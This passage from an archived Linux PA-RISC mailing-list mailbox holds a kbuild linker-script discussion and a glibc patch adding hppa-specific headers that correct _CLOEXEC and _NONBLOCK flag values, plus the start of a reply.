	Tim Abbott <tabbott@ksplice.com>,
	Tim Bird <tim.bird@am.sony.com>,
	James Bottomley <James.Bottomley@hansenpartnership.com>,
	Matt Fleming <matt@console-pimps.org>,
	Arnd Bergmann <arnd@arndb.de>,
	Anders Kaseorg <andersk@mit.edu>,
	Andi Kleen <andi@firstfloor.org>,
	Stephen Rothwell <sfr@canb.auug.org.au>
To: Michal Marek <mmarek@suse.cz>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Aug 06 04:18:22 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1OhCVo-0001JW-GD
	for glpp-linux-parisc@lo.gmane.org; Fri, 06 Aug 2010 04:18:20 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S935214Ab0HFCSR (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 5 Aug 2010 22:18:17 -0400
Original-Received: from mail-fx0-f46.google.com ([209.85.161.46]:44881 "EHLO
	mail-fx0-f46.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1759160Ab0HFCSP (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 5 Aug 2010 22:18:15 -0400
Original-Received: by fxm14 with SMTP id 14so3460066fxm.19
        for <multiple recipients>; Thu, 05 Aug 2010 19:18:14 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=googlemail.com; s=gamma;
        h=domainkey-signature:received:received:from:to:subject:date
         :user-agent:cc:references:in-reply-to:mime-version:content-type
         :content-transfer-encoding:content-disposition:message-id;
        bh=f0q3dXu0KMbvnHQBaB1/Fl8A9nKs25seRnUel3HiyKI=;
        b=q9VPbLvdsFJlgHUw/ShkdNR0nY8NCRa8spUJXEUgwa1jeZ3o881O5Bw2BUbvqHlgJH
         ntPQieb2kRUYoHrJHYj/JNtrXd3iyAiRsU/KdfrYq8/kPD1iOJhNBTOzzwoIUlUGF+24
         8JYk7CiksayrQTpOVvvYUraKy4l11/XLb2d8U=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=googlemail.com; s=gamma;
        h=from:to:subject:date:user-agent:cc:references:in-reply-to
         :mime-version:content-type:content-transfer-encoding
         :content-disposition:message-id;
        b=CF/nfbBrTb3im5VcDcfttKwI/BlitLi21lF2oJkVMdNrZb8kpOKuBokUP6abrF0CXX
         ZzESWsP/9JpqmEzjZWbINRUw6QOlsl5y+oCbj+lvMrBZixzhEYN513+GCj7KX5E+J+2R
         PUiYF8txeHq/N1KUpyN7Zen5fLIVDOYY+67uw=
Original-Received: by 10.223.103.67 with SMTP id j3mr11807010fao.99.1281061094100;
        Thu, 05 Aug 2010 19:18:14 -0700 (PDT)
Original-Received: from shadow (221.47.broadband5.iol.cz [88.100.47.221])
        by mx.google.com with ESMTPS id m3sm387979fai.17.2010.08.05.19.18.11
        (version=SSLv3 cipher=RC4-MD5);
        Thu, 05 Aug 2010 19:18:12 -0700 (PDT)
User-Agent: KMail/1.8.2
In-Reply-To: <4C581DEE.8080205@suse.cz>
Content-Disposition: inline
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3027 gmane.linux.kbuild.devel:5088 gmane.linux.kernel.cross-arch:7247 gmane.linux.kernel:1019770
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3027>

On Tuesday 03 August 2010 15:47, Michal Marek wrote:
> On 29.7.2010 01:47, Denys Vlasenko wrote:
> >  SECTIONS {
> > +
> > +	/* Coalesce sections produced by gcc -ffunction-sections */
> > +	.text   0 : AT(0) { *(.text .text.[A-Za-z0-9_$^]*) }
> > +
> > +	/* Coalesce sections produced by gcc -fdata-sections */
> > +	.rodata 0 : AT(0) { *(.rodata .rodata.[A-Za-z0-9_$^]*) }
> > +	.data   0 : AT(0) { *(.data .data.[A-Za-z0-9_$^]*) }
> > +	.bss    0 : AT(0) { *(.bss .bss.[A-Za-z0-9_$^]*) }
> > +
> >  	/DISCARD/ : { *(.discard) }
> >  }
> 
> I'm now getting
> 
> ld:/home/mmarek/linux-2.6/scripts/module-common.lds:23: ignoring invalid
> character `^' in script
> ld:/home/mmarek/linux-2.6/scripts/module-common.lds:26: ignoring invalid
> character `^' in script
> ld:/home/mmarek/linux-2.6/scripts/module-common.lds:27: ignoring invalid
> character `^' in script
> ld:/home/mmarek/linux-2.6/scripts/module-common.lds:28: ignoring invalid
> character `^' in script
> 
> when linking modules and a similar warning when linking vmlinux (caused
> by the next patch in series). I tried writing the carets as \^, but that
> doesn't help at all...

Yep, I can confirm it. The binutils fix to allow caret might be trivial,
and will allow us to use much better pattern: [^.]*

I created a Fedora bug for it:

https://bugzilla.redhat.com/show_bug.cgi?id=621742

So far, please remove these three patches from kbuild tree.

(I see that modpost patch is in Linus tree. Thanks!)

-- 
vda
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guy Martin <gmsoft@tuxicoman.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] HPPA : Define all the hppa specific _CLOEXEC and _NONBLOCK values
Date: Fri,  6 Aug 2010 14:02:04 +0200
Lines: 498
Approved: news@gmane.org
Message-ID: <1281096124-27484-1-git-send-email-gmsoft@tuxicoman.be>
NNTP-Posting-Host: lo.gmane.org
X-Trace: dough.gmane.org 1281096158 9684 80.91.229.12 (6 Aug 2010 12:02:38 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 6 Aug 2010 12:02:38 +0000 (UTC)
Cc: carlos@systemhalted.org, linux-parisc@vger.kernel.org,
	Guy Martin <gmsoft@tuxicoman.be>
To: libc-ports@sourceware.org
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Aug 06 14:02:34 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1OhLdB-00086A-8B
	for glpp-linux-parisc@lo.gmane.org; Fri, 06 Aug 2010 14:02:33 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1760862Ab0HFMCc (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 6 Aug 2010 08:02:32 -0400
Original-Received: from smtp7.tech.numericable.fr ([82.216.111.43]:48246 "EHLO
	smtp7.tech.numericable.fr" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754479Ab0HFMCb (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 6 Aug 2010 08:02:31 -0400
Original-Received: from ibiza.bxl.tuxicoman.be (cable-85.28.107.20.coditel.net [85.28.107.20])
	by smtp7.tech.numericable.fr (Postfix) with ESMTP id 42FF716380E;
	Fri,  6 Aug 2010 14:02:23 +0200 (CEST)
Original-Received: from terminator.bxl.tuxicoman.be ([172.19.0.3] helo=terminator.bxl.tuxicoman.be.)
	by ibiza.bxl.tuxicoman.be with esmtp (Exim 4.72)
	(envelope-from <gmsoft@tuxicoman.be>)
	id 1OhLcz-0008AE-TA; Fri, 06 Aug 2010 14:02:21 +0200
X-Mailer: git-send-email 1.7.1
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3028
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3028>

The following patch adds hppa specific files that define the various _CLOEXEC and
_NONBLOCK values in order to match the ones from the kernel.

Signed-off-by: Guy Martin <gmsoft@tuxicoman.be>
---
 ChangeLog.hppa                                    |   13 ++
 ports/sysdeps/unix/sysv/linux/hppa/sys/epoll.h    |  144 +++++++++++++++++++++
 ports/sysdeps/unix/sysv/linux/hppa/sys/eventfd.h  |   54 ++++++++
 ports/sysdeps/unix/sysv/linux/hppa/sys/inotify.h  |  105 +++++++++++++++
 ports/sysdeps/unix/sysv/linux/hppa/sys/signalfd.h |   66 ++++++++++
 ports/sysdeps/unix/sysv/linux/hppa/sys/timerfd.h  |   60 +++++++++
 6 files changed, 442 insertions(+), 0 deletions(-)

diff --git a/ChangeLog.hppa b/ChangeLog.hppa
index 2ccc911..fb5d803 100644
--- a/ChangeLog.hppa
+++ b/ChangeLog.hppa
@@ -1,3 +1,16 @@
+2010-08-06  Guy Martin <gmsoft@tuxicoman.be>
+
+	* ports/sysdeps/unix/sysv/linux/hppa/sys/epoll.h
+	Fix EPOLL_CLOEXEC and EPOLL_NONBLOCK to match kernel definition.
+	* ports/sysdeps/unix/sysv/linux/hppa/sys/eventfd.h
+	Fix EFD_CLOEXEC and EFD_NONBLOCK to match kernel definition.
+	* ports/sysdeps/unix/sysv/linux/hppa/sys/inotify.h
+	Fix IN_CLOEXEC and IN_NONBLOCK to match kernel definition.
+	* ports/sysdeps/unix/sysv/linux/hppa/sys/signalfd.h
+	Fix SFD_CLOEXEC and SFD_NONBLOCK to match kernel definition.
+	* ports/sysdeps/unix/sysv/linux/hppa/sys/timerfd.h
+	Fix TFD_CLOEXEC and TFD_NONBLOCK to match kernel definition.
+
 2010-06-24  Carlos O'Donell  <carlos@codesourcery.com>
 
 	* sysdeps/unix/sysv/linux/hppa/nptl/pt-vfork.S: Only create stack 
diff --git a/ports/sysdeps/unix/sysv/linux/hppa/sys/epoll.h b/ports/sysdeps/unix/sysv/linux/hppa/sys/epoll.h
new file mode 100644
index 0000000..1931cc6
--- /dev/null
+++ b/ports/sysdeps/unix/sysv/linux/hppa/sys/epoll.h
@@ -0,0 +1,144 @@
+/* Copyright (C) 2002-2006, 2007, 2008, 2009 Free Software Foundation, Inc.
+   This file is part of the GNU C Library.
+
+   The GNU C Library is free software; you can redistribute it and/or
+   modify it under the terms of the GNU Lesser General Public
+   License as published by the Free Software Foundation; either
+   version 2.1 of the License, or (at your option) any later version.
+
+   The GNU C Library is distributed in the hope that it will be useful,
+   but WITHOUT ANY WARRANTY; without even the implied warranty of
+   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+   Lesser General Public License for more details.
+
+   You should have received a copy of the GNU Lesser General Public
+   License along with the GNU C Library; if not, write to the Free
+   Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA
+   02111-1307 USA.  */
+
+#ifndef	_SYS_EPOLL_H
+#define	_SYS_EPOLL_H	1
+
+#include <stdint.h>
+#include <sys/types.h>
+
+/* Get __sigset_t.  */
+#include <bits/sigset.h>
+
+#ifndef __sigset_t_defined
+# define __sigset_t_defined
+typedef __sigset_t sigset_t;
+#endif
+
+
+/* Flags to be passed to epoll_create1.  */
+enum
+  {
+    EPOLL_CLOEXEC = 010000000,
+#define EPOLL_CLOEXEC EPOLL_CLOEXEC
+    EPOLL_NONBLOCK = 00200004 /* HPUX has separate NDELAY & NONBLOCK */
+#define EPOLL_NONBLOCK EPOLL_NONBLOCK
+  };
+
+
+enum EPOLL_EVENTS
+  {
+    EPOLLIN = 0x001,
+#define EPOLLIN EPOLLIN
+    EPOLLPRI = 0x002,
+#define EPOLLPRI EPOLLPRI
+    EPOLLOUT = 0x004,
+#define EPOLLOUT EPOLLOUT
+    EPOLLRDNORM = 0x040,
+#define EPOLLRDNORM EPOLLRDNORM
+    EPOLLRDBAND = 0x080,
+#define EPOLLRDBAND EPOLLRDBAND
+    EPOLLWRNORM = 0x100,
+#define EPOLLWRNORM EPOLLWRNORM
+    EPOLLWRBAND = 0x200,
+#define EPOLLWRBAND EPOLLWRBAND
+    EPOLLMSG = 0x400,
+#define EPOLLMSG EPOLLMSG
+    EPOLLERR = 0x008,
+#define EPOLLERR EPOLLERR
+    EPOLLHUP = 0x010,
+#define EPOLLHUP EPOLLHUP
+    EPOLLRDHUP = 0x2000,
+#define EPOLLRDHUP EPOLLRDHUP
+    EPOLLONESHOT = (1 << 30),
+#define EPOLLONESHOT EPOLLONESHOT
+    EPOLLET = (1 << 31)
+#define EPOLLET EPOLLET
+  };
+
+
+/* Valid opcodes ( "op" parameter ) to issue to epoll_ctl().  */
+#define EPOLL_CTL_ADD 1	/* Add a file descriptor to the interface.  */
+#define EPOLL_CTL_DEL 2	/* Remove a file descriptor from the interface.  */
+#define EPOLL_CTL_MOD 3	/* Change file descriptor epoll_event structure.  */
+
+
+typedef union epoll_data
+{
+  void *ptr;
+  int fd;
+  uint32_t u32;
+  uint64_t u64;
+} epoll_data_t;
+
+struct epoll_event
+{
+  uint32_t events;	/* Epoll events */
+  epoll_data_t data;	/* User data variable */
+};
+
+
+__BEGIN_DECLS
+
+/* Creates an epoll instance.  Returns an fd for the new instance.
+   The "size" parameter is a hint specifying the number of file
+   descriptors to be associated with the new instance.  The fd
+   returned by epoll_create() should be closed with close().  */
+extern int epoll_create (int __size) __THROW;
+
+/* Same as epoll_create but with an FLAGS parameter.  The unused SIZE
+   parameter has been dropped.  */
+extern int epoll_create1 (int __flags) __THROW;
+
+
+/* Manipulate an epoll instance "epfd". Returns 0 in case of success,
+   -1 in case of error ( the "errno" variable will contain the
+   specific error code ) The "op" parameter is one of the EPOLL_CTL_*
+   constants defined above. The "fd" parameter is the target of the
+   operation. The "event" parameter describes which events the caller
+   is interested in and any associated user data.  */
+extern int epoll_ctl (int __epfd, int __op, int __fd,
+		      struct epoll_event *__event) __THROW;
+
+
+/* Wait for events on an epoll instance "epfd". Returns the number of
+   triggered events returned in "events" buffer. Or -1 in case of
+   error with the "errno" variable set to the specific error code. The
+   "events" parameter is a buffer that will contain triggered
+   events. The "maxevents" is the maximum number of events to be
+   returned ( usually size of "events" ). The "timeout" parameter
+   specifies the maximum wait time in milliseconds (-1 == infinite).
+
+   This function is a cancellation point and therefore not marked with
+   __THROW.  */
+extern int epoll_wait (int __epfd, struct epoll_event *__events,
+		       int __maxevents, int __timeout);
+
+
+/* Same as epoll_wait, but the thread's signal mask is temporarily
+   and atomically replaced with the one provided as parameter.
+
+   This function is a cancellation point and therefore not marked with
+   __THROW.  */
+extern int epoll_pwait (int __epfd, struct epoll_event *__events,
+			int __maxevents, int __timeout,
+			__const __sigset_t *__ss);
+
+__END_DECLS
+
+#endif /* sys/epoll.h */
diff --git a/ports/sysdeps/unix/sysv/linux/hppa/sys/eventfd.h b/ports/sysdeps/unix/sysv/linux/hppa/sys/eventfd.h
new file mode 100644
index 0000000..751f276
--- /dev/null
+++ b/ports/sysdeps/unix/sysv/linux/hppa/sys/eventfd.h
@@ -0,0 +1,54 @@
+/* Copyright (C) 2007, 2008, 2009 Free Software Foundation, Inc.
+   This file is part of the GNU C Library.
+
+   The GNU C Library is free software; you can redistribute it and/or
+   modify it under the terms of the GNU Lesser General Public
+   License as published by the Free Software Foundation; either
+   version 2.1 of the License, or (at your option) any later version.
+
+   The GNU C Library is distributed in the hope that it will be useful,
+   but WITHOUT ANY WARRANTY; without even the implied warranty of
+   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+   Lesser General Public License for more details.
+
+   You should have received a copy of the GNU Lesser General Public
+   License along with the GNU C Library; if not, write to the Free
+   Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA
+   02111-1307 USA.  */
+
+#ifndef	_SYS_EVENTFD_H
+#define	_SYS_EVENTFD_H	1
+
+#include <stdint.h>
+
+
+/* Type for event counter.  */
+typedef uint64_t eventfd_t;
+
+/* Flags for signalfd.  */
+enum
+  {
+    EFD_SEMAPHORE = 1,
+#define EFD_SEMAPHORE EFD_SEMAPHORE
+    EFD_CLOEXEC = 010000000,
+#define EFD_CLOEXEC EFD_CLOEXEC
+    EFD_NONBLOCK = 00200004 /* HPUX has separate NDELAY & NONBLOCK */
+#define EFD_NONBLOCK EFD_NONBLOCK
+  };
+
+
+__BEGIN_DECLS
+
+/* Return file descriptor for generic event channel.  Set initial
+   value to COUNT.  */
+extern int eventfd (int __count, int __flags) __THROW;
+
+/* Read event counter and possibly wait for events.  */
+extern int eventfd_read (int __fd, eventfd_t *__value);
+
+/* Increment event counter.  */
+extern int eventfd_write (int __fd, eventfd_t __value);
+
+__END_DECLS
+
+#endif /* sys/eventfd.h */
diff --git a/ports/sysdeps/unix/sysv/linux/hppa/sys/inotify.h b/ports/sysdeps/unix/sysv/linux/hppa/sys/inotify.h
new file mode 100644
index 0000000..d293aee
--- /dev/null
+++ b/ports/sysdeps/unix/sysv/linux/hppa/sys/inotify.h
@@ -0,0 +1,105 @@
+/* Copyright (C) 2005, 2006, 2008, 2009 Free Software Foundation, Inc.
+   This file is part of the GNU C Library.
+
+   The GNU C Library is free software; you can redistribute it and/or
+   modify it under the terms of the GNU Lesser General Public
+   License as published by the Free Software Foundation; either
+   version 2.1 of the License, or (at your option) any later version.
+
+   The GNU C Library is distributed in the hope that it will be useful,
+   but WITHOUT ANY WARRANTY; without even the implied warranty of
+   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+   Lesser General Public License for more details.
+
+   You should have received a copy of the GNU Lesser General Public
+   License along with the GNU C Library; if not, write to the Free
+   Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA
+   02111-1307 USA.  */
+
+#ifndef	_SYS_INOTIFY_H
+#define	_SYS_INOTIFY_H	1
+
+#include <stdint.h>
+
+
+/* Flags for the parameter of inotify_init1.  */
+enum
+  {
+    IN_CLOEXEC = 010000000,
+#define IN_CLOEXEC IN_CLOEXEC
+    IN_NONBLOCK = 000200004 /* HPUX has separate NDELAY & NONBLOCK */
+#define IN_NONBLOCK IN_NONBLOCK
+  };
+
+
+/* Structure describing an inotify event.  */
+struct inotify_event
+{
+  int wd;		/* Watch descriptor.  */
+  uint32_t mask;	/* Watch mask.  */
+  uint32_t cookie;	/* Cookie to synchronize two events.  */
+  uint32_t len;		/* Length (including NULs) of name.  */
+  char name __flexarr;	/* Name.  */
+};
+
+
+/* Supported events suitable for MASK parameter of INOTIFY_ADD_WATCH.  */
+#define IN_ACCESS	 0x00000001	/* File was accessed.  */
+#define IN_MODIFY	 0x00000002	/* File was modified.  */
+#define IN_ATTRIB	 0x00000004	/* Metadata changed.  */
+#define IN_CLOSE_WRITE	 0x00000008	/* Writtable file was closed.  */
+#define IN_CLOSE_NOWRITE 0x00000010	/* Unwrittable file closed.  */
+#define IN_CLOSE	 (IN_CLOSE_WRITE | IN_CLOSE_NOWRITE) /* Close.  */
+#define IN_OPEN		 0x00000020	/* File was opened.  */
+#define IN_MOVED_FROM	 0x00000040	/* File was moved from X.  */
+#define IN_MOVED_TO      0x00000080	/* File was moved to Y.  */
+#define IN_MOVE		 (IN_MOVED_FROM | IN_MOVED_TO) /* Moves.  */
+#define IN_CREATE	 0x00000100	/* Subfile was created.  */
+#define IN_DELETE	 0x00000200	/* Subfile was deleted.  */
+#define IN_DELETE_SELF	 0x00000400	/* Self was deleted.  */
+#define IN_MOVE_SELF	 0x00000800	/* Self was moved.  */
+
+/* Events sent by the kernel.  */
+#define IN_UNMOUNT	 0x00002000	/* Backing fs was unmounted.  */
+#define IN_Q_OVERFLOW	 0x00004000	/* Event queued overflowed.  */
+#define IN_IGNORED	 0x00008000	/* File was ignored.  */
+
+/* Helper events.  */
+#define IN_CLOSE	 (IN_CLOSE_WRITE | IN_CLOSE_NOWRITE)	/* Close.  */
+#define IN_MOVE		 (IN_MOVED_FROM | IN_MOVED_TO)		/* Moves.  */
+
+/* Special flags.  */
+#define IN_ONLYDIR	 0x01000000	/* Only watch the path if it is a
+					   directory.  */
+#define IN_DONT_FOLLOW	 0x02000000	/* Do not follow a sym link.  */
+#define IN_MASK_ADD	 0x20000000	/* Add to the mask of an already
+					   existing watch.  */
+#define IN_ISDIR	 0x40000000	/* Event occurred against dir.  */
+#define IN_ONESHOT	 0x80000000	/* Only send event once.  */
+
+/* All events which a program can wait on.  */
+#define IN_ALL_EVENTS	 (IN_ACCESS | IN_MODIFY | IN_ATTRIB | IN_CLOSE_WRITE  \
+			  | IN_CLOSE_NOWRITE | IN_OPEN | IN_MOVED_FROM	      \
+			  | IN_MOVED_TO | IN_CREATE | IN_DELETE		      \
+			  | IN_DELETE_SELF | IN_MOVE_SELF)
+
+
+__BEGIN_DECLS
+
+/* Create and initialize inotify instance.  */
+extern int inotify_init (void) __THROW;
+
+/* Create and initialize inotify instance.  */
+extern int inotify_init1 (int __flags) __THROW;
+
+/* Add watch of object NAME to inotify instance FD.  Notify about
+   events specified by MASK.  */
+extern int inotify_add_watch (int __fd, const char *__name, uint32_t __mask)
+  __THROW;
+
+/* Remove the watch specified by WD from the inotify instance FD.  */
+extern int inotify_rm_watch (int __fd, int __wd) __THROW;
+
+__END_DECLS
+
+#endif /* sys/inotify.h */
diff --git a/ports/sysdeps/unix/sysv/linux/hppa/sys/signalfd.h b/ports/sysdeps/unix/sysv/linux/hppa/sys/signalfd.h
new file mode 100644
index 0000000..da8264e
--- /dev/null
+++ b/ports/sysdeps/unix/sysv/linux/hppa/sys/signalfd.h
@@ -0,0 +1,66 @@
+/* Copyright (C) 2007, 2008 Free Software Foundation, Inc.
+   This file is part of the GNU C Library.
+
+   The GNU C Library is free software; you can redistribute it and/or
+   modify it under the terms of the GNU Lesser General Public
+   License as published by the Free Software Foundation; either
+   version 2.1 of the License, or (at your option) any later version.
+
+   The GNU C Library is distributed in the hope that it will be useful,
+   but WITHOUT ANY WARRANTY; without even the implied warranty of
+   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+   Lesser General Public License for more details.
+
+   You should have received a copy of the GNU Lesser General Public
+   License along with the GNU C Library; if not, write to the Free
+   Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA
+   02111-1307 USA.  */
+
+#ifndef	_SYS_SIGNALFD_H
+#define	_SYS_SIGNALFD_H	1
+
+#define __need_sigset_t
+#include <signal.h>
+#include <stdint.h>
+
+
+struct signalfd_siginfo
+{
+  uint32_t ssi_signo;
+  int32_t ssi_errno;
+  int32_t ssi_code;
+  uint32_t ssi_pid;
+  uint32_t ssi_uid;
+  int32_t ssi_fd;
+  uint32_t ssi_tid;
+  uint32_t ssi_band;
+  uint32_t ssi_overrun;
+  uint32_t ssi_trapno;
+  int32_t ssi_status;
+  int32_t ssi_int;
+  uint64_t ssi_ptr;
+  uint64_t ssi_utime;
+  uint64_t ssi_stime;
+  uint64_t ssi_addr;
+  uint8_t __pad[48];
+};
+
+/* Flags for signalfd.  */
+enum
+  {
+    SFD_CLOEXEC = 010000000,
+#define SFD_CLOEXEC SFD_CLOEXEC
+    SFD_NONBLOCK = 00200004 /* HPUX has separate NDELAY & NONBLOCK */
+#define SFD_NONBLOCK SFD_NONBLOCK
+  };
+
+__BEGIN_DECLS
+
+/* Request notification for delivery of signals in MASK to be
+   performed using descriptor FD.*/
+extern int signalfd (int __fd, const sigset_t *__mask, int __flags)
+  __THROW __nonnull ((2));
+
+__END_DECLS
+
+#endif /* sys/signalfd.h */
diff --git a/ports/sysdeps/unix/sysv/linux/hppa/sys/timerfd.h b/ports/sysdeps/unix/sysv/linux/hppa/sys/timerfd.h
new file mode 100644
index 0000000..78cdfc4
--- /dev/null
+++ b/ports/sysdeps/unix/sysv/linux/hppa/sys/timerfd.h
@@ -0,0 +1,60 @@
+/* Copyright (C) 2008 Free Software Foundation, Inc.
+   This file is part of the GNU C Library.
+
+   The GNU C Library is free software; you can redistribute it and/or
+   modify it under the terms of the GNU Lesser General Public
+   License as published by the Free Software Foundation; either
+   version 2.1 of the License, or (at your option) any later version.
+
+   The GNU C Library is distributed in the hope that it will be useful,
+   but WITHOUT ANY WARRANTY; without even the implied warranty of
+   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+   Lesser General Public License for more details.
+
+   You should have received a copy of the GNU Lesser General Public
+   License along with the GNU C Library; if not, write to the Free
+   Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA
+   02111-1307 USA.  */
+
+#ifndef	_SYS_TIMERFD_H
+#define	_SYS_TIMERFD_H	1
+
+#include <time.h>
+
+
+/* Bits to be set in the FLAGS parameter of `timerfd_create'.  */
+enum
+  {
+    TFD_CLOEXEC = 010000000,
+#define TFD_CLOEXEC TFD_CLOEXEC
+    TFD_NONBLOCK = 000200004 /* HPUX has separate NDELAY & NONBLOCK */
+#define TFD_NONBLOCK TFD_NONBLOCK
+  };
+
+
+/* Bits to be set in the FLAGS parameter of `timerfd_settime'.  */
+enum
+  {
+    TFD_TIMER_ABSTIME = 1 << 0
+#define TFD_TIMER_ABSTIME TFD_TIMER_ABSTIME
+  };
+
+
+__BEGIN_DECLS
+
+/* Return file descriptor for new interval timer source.  */
+extern int timerfd_create (clockid_t __clock_id, int __flags) __THROW;
+
+/* Set next expiration time of interval timer source UFD to UTMR.  If
+   FLAGS has the TFD_TIMER_ABSTIME flag set the timeout value is
+   absolute.  Optionally return the old expiration time in OTMR.  */
+extern int timerfd_settime (int __ufd, int __flags,
+			    __const struct itimerspec *__utmr,
+			    struct itimerspec *__otmr) __THROW;
+
+/* Return the next expiration time of UFD.  */
+extern int timerfd_gettime (int __ufd, struct itimerspec *__otmr) __THROW;
+
+__END_DECLS
+
+#endif /* sys/timerfd.h */
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.comp.lib.glibc.ports,gmane.linux.ports.parisc
Subject: Re: [PATCH] HPPA : Define all the hppa specific _CLOEXEC and 	_NONBLOCK values
Date: Fri, 6 Aug 2010 10:34:12 -0400
Lines: 10
Approved: news@gmane.org
Message-ID: <AANLkTi=3cdO86eCfXxoF3fPi2RjjTWHxFEoOLLLinXuq@mail.gmail.com>
References: <1281096124-27484-1-git-send-email-gmsoft@tuxicoman.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: dough.gmane.org 1281105271 10716 80.91.229.12 (6 Aug 2010 14:34:31 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 6 Aug 2010 14:34:31 +0000 (UTC)
Cc: libc-ports@sourceware.org, linux-parisc@vger.kernel.org
To: Guy Martin <gmsoft@tuxicoman.be>
Original-X-From: libc-ports-return-1692-gclgp-libc-ports=m.gmane.org@sourceware.org Fri Aug 06 16:34:28 2010
Return-path: <libc-ports-return-1692-gclgp-libc-ports=m.gmane.org@sourceware.org>
Envelope-to: gclgp-libc-ports@lo.gmane.org
Original-Received: from server1.sourceware.org ([209.132.180.131] helo=sourceware.org)
	by lo.gmane.org with smtp (Exim 4.69)
	(envelope-from <libc-ports-return-1692-gclgp-libc-ports=m.gmane.org@sourceware.org>)
	id 1OhO0C-00046W-8m
	for gclgp-libc-ports@lo.gmane.org; Fri, 06 Aug 2010 16:34:28 +0200
Original-Received: (qmail 3994 invoked by alias); 6 Aug 2010 14:34:24 -0000
Original-Received: (qmail 3907 invoked by uid 22791); 6 Aug 2010 14:34:23 -0000
X-SWARE-Spam-Status: No, hits=-1.8 required=5.0	tests=AWL,BAYES_00,DKIM_SIGNED,DKIM_VALID,FREEMAIL_FROM
X-Spam-Check-By: sourceware.org
Original-Received: from mail-fx0-f41.google.com (HELO mail-fx0-f41.google.com) (209.85.161.41)    by sourceware.org (qpsmtpd/0.43rc1) with ESMTP; Fri, 06 Aug 2010 14:34:14 +0000
Original-Received: by fxm20 with SMTP id 20so4471437fxm.0        for <libc-ports@sourceware.org>; Fri, 06 Aug 2010 07:34:12 -0700 (PDT)
Original-Received: by 10.239.189.72 with SMTP id s8mr294755hbh.46.1281105252442; Fri, 	06 Aug 2010 07:34:12 -0700 (PDT)
Original-Received: by 10.239.153.133 with HTTP; Fri, 6 Aug 2010 07:34:12 -0700 (PDT)
In-Reply-To: <1281096124-27484-1-git-send-email-gmsoft@tuxicoman.be>
X-IsSubscribed: yes
Mailing-List: contact libc-ports-help@sourceware.org; run by ezmlm
Precedence: bulk
List-Id: <libc-ports.sourceware.org>
List-Unsubscribe: <mailto:libc-ports-unsubscribe-gclgp-libc-ports=m.gmane.org@sourceware.org>
List-Subscribe: <mailto:libc-ports-subscribe@sourceware.org>
List-Post: <mailto:libc-ports@sourceware.org>
List-Help: <mailto:libc-ports-help@sourceware.org>, <http://sourceware.org/lists.html#faqs>
Original-Sender: libc-ports-owner@sourceware.org
Delivered-To: mailing list libc-ports@sourceware.org
Xref: news.gmane.org gmane.comp.lib.glibc.ports:699 gmane.linux.ports.parisc:3029
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3029>

On Fri, Aug 6, 2010 at 8:02 AM, Guy Martin <gmsoft@tuxicoman.be> wrote:
> The following patch adds hppa specific files that define the various _CLOEXEC and
> _NONBLOCK values in order to match the ones from the kernel.

